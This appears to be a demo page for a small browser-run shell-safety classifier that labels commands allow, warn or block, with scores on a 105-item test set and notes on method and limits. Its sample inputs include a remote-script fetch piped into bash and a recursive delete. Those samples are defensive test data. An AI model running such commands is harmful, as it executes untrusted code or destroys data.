Mini-Jev — shell-safety Phase-1b in the browser

We ship shell-safety Phase-1b: 0.914 overall on a frozen 105-item smoke set.

0.914 Overall

0.933 Warn recall

1.000 Block recall

Frozen smoke, n=105, planted gold. MiniCPM5-2B, shell-safety Phase-1b. Labels allow / warn / block.

Same 105 items. Phase-1b vs baselines.
System	Overall	Warn recall	Block recall
Phase-1b MiniCPM5-2B (shipped)	0.914	0.933	1.000
Zero-shot MiniCPM5-2B	~0.581	never predicted warn	—
Qwen 0.5B	letter-prior collapse	—	—

Same 105 items. Phase-1b vs baselines.

System

Overall

Warn recall

Block recall

Phase-1b MiniCPM5-2B (shipped)

0.914

0.933

1.000

Zero-shot MiniCPM5-2B

~0.581

never predicted warn

—

Qwen 0.5B

letter-prior collapse

—

How it works

Closed-set logprob scoring: one forward pass, then softmax only over the candidate tokens. Nothing is generated.

What we rejected

Phase-1c: block recall fell below the bar. Qwen 0.5B: letter-prior collapse (it picks A/B/C by letter frequency, not meaning). Shape-proof only, not a shell-safety model.

Limits

Labels are planted gold. The demo menu scores; it does not set policy.

Weights

ONNX q4 (~1.8 GB) · merged. On this host, /hf streams Hugging Face, not R2.

Demo

Model

Force CPU (WASM) fallback — slower; use if WebGPU fails

State

Questions

Raw JSON

Choice keys (allow / warn / block) become A/B/C in the prompt. Default State is planted ls (allow). Swap rm -rf /tmp/build (warn) or curl https://example.invalid/install.sh | bash (block). Score is expected value over 0…n−1. Boolean is noul: A=no, B=yes, answer is P(yes).

Answers

Default model is shell-safety Phase-1b. Load, then Evaluate. Qwen 0.5B is ~400 MB; Phase-1b q4 is ~1.8 GB from Hugging Face via same-origin /hf.

TypeSafe JSON

Prompt & token ids (debug)